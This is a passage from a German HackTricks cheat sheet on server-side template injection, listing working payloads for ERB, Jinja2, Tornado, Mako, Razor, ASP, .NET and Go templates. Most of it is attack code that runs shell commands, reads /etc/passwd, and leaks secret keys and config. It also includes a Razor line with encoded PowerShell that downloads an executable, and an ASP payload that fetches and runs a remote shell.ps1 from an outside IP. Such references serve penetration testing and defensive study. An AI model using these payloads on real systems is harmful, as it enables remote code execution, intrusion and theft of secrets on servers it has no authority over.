https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg
 (1) (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg
ERB (Ruby)
{{7*7}} = {{7*7}}${7*7} = ${7*7}<%= 7*7 %> = 49<%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
Weitere Informationen
Slim (Ruby)
{ 7 * 7 }
{ %x|env| }
Weitere Informationen
Andere Ruby
.png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg
.png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg
- Mehr Informationen in https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Python
Sieh dir die folgende Seite an, um Tricks zu arbitrary command execution bypassing sandboxes in Python zu lernen:
Tornado (Python)
{{7*7}} = 49${7*7} = ${7*7}{{foobar}} = Error{{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}
{% import os %}
{% endraw %}
{{os.system('whoami')}}
{{os.system('whoami')}}
Weitere Informationen
Jinja2 (Python)
Jinja2 ist eine voll ausgestattete Template-Engine für Python. Sie bietet vollständige Unicode-Unterstützung, eine optionale integrierte Ausführungsumgebung mit Sandbox, ist weit verbreitet und unter BSD lizenziert.
{{7*7}} = Error${7*7} = ${7*7}{{foobar}} Nothing{{4*4}}[[5*5]]{{7*'7'}} = 7777777{{config}}{{config.items()}}{{settings.SECRET_KEY}}{{settings}}<div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
Jinja2 - Vorlagenformat
{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}
RCE nicht abhängig von __builtins__:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
Weitere Details dazu, wie man Jinja ausnutzen kann:
Weitere payloads in https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
Mako (Python)
<%
import os
x=os.popen('id').read()
%>
${x}
Weitere Informationen
Weitere Python
 (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg
 (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg
- Mehr Informationen unter https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Razor (.Net)
@(2+2) <= Success@() <= Success@("{{code}}") <= Success@ <=Success@{} <= ERROR!@{ <= ERRROR!@(1+2)@( //C#Code )@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");
Die .NET System.Diagnostics.Process.Start-Methode kann verwendet werden, um beliebige Prozesse auf dem Server zu starten und damit eine Webshell zu erstellen. Ein verwundbares Webapp-Beispiel finden Sie in https://github.com/cnotin/RazorVulnerableApp
Weitere Informationen
- https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/
- https://www.schtech.co.uk/razor-pages-ssti-rce/
ASP
<%= 7*7 %>= 49<%= "foo" %>= foo<%= foo %>= Nothing<%= response.write(date()) %>= <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
Weitere Informationen
.Net: Beschränkungen umgehen
Die .NET Reflection-Mechanismen können verwendet werden, um blacklisting zu umgehen oder wenn Klassen nicht in der Assembly vorhanden sind. DLL’s können zur Laufzeit geladen werden, wobei Methoden und Properties von einfachen Objekten zugänglich sind.
Dll’s können geladen werden mit:
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}- vom Dateisystem.{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}- direkt aus der Anfrage.
Vollständige Befehlsausführung:
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}
Weitere Informationen
Mojolicious (Perl)
Auch wenn es perl ist, verwendet es Tags wie ERB in Ruby.
<%= 7*7 %> = 49<%= foobar %> = Error
<%= perl code %>
<% perl code %>
SSTI in GO
In der Template-Engine von Go lässt sich die Verwendung mit spezifischen Payloads bestätigen:
{{ . }}: Gibt die eingehende Datenstruktur preis. Zum Beispiel, wenn ein Objekt mit einemPassword-Attribut übergeben wird, könnte{{ .Password }}dieses offenlegen.{{printf "%s" "ssti" }}: Sollte den String “ssti” anzeigen.{{html "ssti"}},{{js "ssti"}}: Diese Payloads sollten “ssti” zurückgeben, ohne “html” oder “js” anzuhängen. Weitere Direktiven finden sich in der Go-Dokumentation hier.
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg
XSS Exploitation
Mit dem text/template Package ist XSS oft einfach, indem die Payload direkt eingefügt wird. Im Gegensatz dazu kodiert das html/template Package die Ausgabe, um dies zu verhindern (z. B. führt {{"<script>alert(1)</script>"}} zu <script>alert(1)</script>). Nichtsdestotrotz kann die Template-Definition und -Aufruf in Go diese Kodierung umgehen: {{define “T1”}}alert(1){{end}} {{template “T1”}}
vbnet Copy code
RCE Exploitation
RCE-Exploitation unterscheidet sich deutlich zwischen html/template und text/template. Das text/template-Modul erlaubt es, jede öffentliche Funktion direkt aufzurufen (mittels des “call”-Werts), was im html/template nicht erlaubt ist. Dokumentation zu diesen Modulen ist hier für html/template und hier für text/template verfügbar.
Für RCE via SSTI in Go können Methoden von Objekten aufgerufen werden. Beispielsweise, wenn das übergebene Objekt eine System-Methode hat, die Befehle ausführt, kann dies wie folgt ausgenutzt werden: {{ .System "ls" }}. Üblicherweise ist der Zugriff auf den Quellcode notwendig, um dies auszunutzen, wie im gegebenen Beispiel:
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
Mehr Informationen
- https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to
- https://www.onsecurity.io/blog/go-ssti-method-research/
LESS (CSS Preprocessor)
LESS ist ein populärer CSS-Preprozessor, der Variablen, Mixins, Funktionen und die mächtige @import-Direktive hinzufügt. Während der Kompilierung wird die LESS-Engine die in @import referenzierten Ressourcen abrufen und deren Inhalt in das resultierende CSS einbetten (“inline”), wenn die (inline)-Option verwendet wird.
{{#ref}} ../xs-search/css-injection/less-code-injection.md {{/ref}}
Weitere Exploits
Schau dir den Rest von https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection an, um weitere Exploits zu finden. Außerdem findest du interessante Informationen zu Tags unter https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
BlackHat PDF
Verwandte Hilfe
Wenn du denkst, dass es nützlich sein könnte, lies:
Tools
- https://github.com/Hackmanit/TInjA
- https://github.com/vladko312/sstimap
- https://github.com/epinna/tplmap
- https://github.com/Hackmanit/template-injection-table
Brute-Force Detection List
Auto_Wordlists/wordlists/ssti.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
Referenzen
- Node expression sandbox escape via
process.mainModule.require(n8n PoC) - https://portswigger.net/web-security/server-side-template-injection/exploiting
- https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
- https://portswigger.net/web-security/server-side-template-injection
- 0xdf – HTB: Editor (XWiki SolrSearch Groovy RCE → Netdata ndsudo privesc)
- XWiki advisory –
SolrSearchRSS Groovy RCE (GHSA-rr6p-3pfg-562j / CVE-2025-24893)
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


